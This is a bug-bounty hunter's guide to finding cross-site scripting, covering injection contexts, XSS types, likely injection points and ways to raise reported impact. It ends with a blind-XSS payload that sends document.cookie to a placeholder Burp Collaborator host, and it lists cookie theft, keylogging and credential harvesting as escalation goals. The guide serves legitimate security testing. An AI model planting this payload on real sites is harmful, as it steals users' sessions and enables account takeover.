XSS - Overview

XSS is alive. Every app I touch with a rich text editor, a search bar that reflects input, or a JS-heavy SPA has a surface worth poking. The mistake most hunters make is firing <script>alert(1)</script> everywhere and calling it a day when nothing pops. Real XSS hunting is about reading the context - where does my input land, and what rules govern that landing zone?

The Mental Model

flowchart TD
    A["Input Entry Point"] --> B{"Where does it render?"}
    B --> C["HTML Body: Reflected XSS"]
    B --> D["HTML Attribute: Reflected XSS"]
    B --> E["JS Context: DOM XSS"]
    B --> F["Stored in DB: Stored XSS"]
    B --> G["Framework Component: Framework XSS"]
    C --> H{"WAF / Filter?"}
    D --> H
    E --> H
    F --> H
    G --> H
    H -->|"Yes"| I["WAF Bypass"]
    H -->|"No"| J["Exploit"]

Context-First Methodology

Before I send a single payload, I do three things:

  1. Trace the reflection - view-source or DevTools, find exactly where my input lands in the DOM.
  2. Identify the context - raw HTML, inside a tag attribute, inside a JS string, inside a JS block, inside a JSON blob.
  3. Pick the minimal breaking payload - not a shotgun, a scalpel.

The context dictates everything. A payload that works in an HTML body context does nothing inside a value="" attribute without first closing the quote.

XSS Types - Quick Reference

TypeWhereTooling
Reflected XSSInput → immediate responseManual + Burp
Stored XSSInput → DB → rendered laterManual + spidering
DOM XSSInput → JS → DOM sinkDOM Invader, manual JS review
Framework XSSReact/Vue/Angular quirksSource review, framework-aware tools

High-Value Targets I Always Check

  • Search bars (reflected)
  • Comment/review fields (stored)
  • Profile fields - display name, bio, website URL (stored, often hits admin panels)
  • File upload names (stored, hits wherever files are listed)
  • Error messages that echo back user input
  • 404 pages that reflect the path
  • Redirect parameters (?next=, ?returnUrl=, ?redirect=)
  • postMessage handlers in SPAs
  • URL fragment (#) consumed by JS

Impact - Making It Count in the Report

A raw alert(1) gets triaged as low half the time. Escalate to:

  • document.cookie exfil to a Burp Collaborator or xsshunter.com
  • Account takeover via session hijacking
  • CSRF bypass (XSS makes same-origin requests)
  • Keylogging on login forms
  • Credential harvesting via DOM manipulation
// Blind XSS callback  -  drop this in any stored field
fetch('https://YOUR.BURPCOLLABORATOR.NET/?c='+btoa(document.cookie))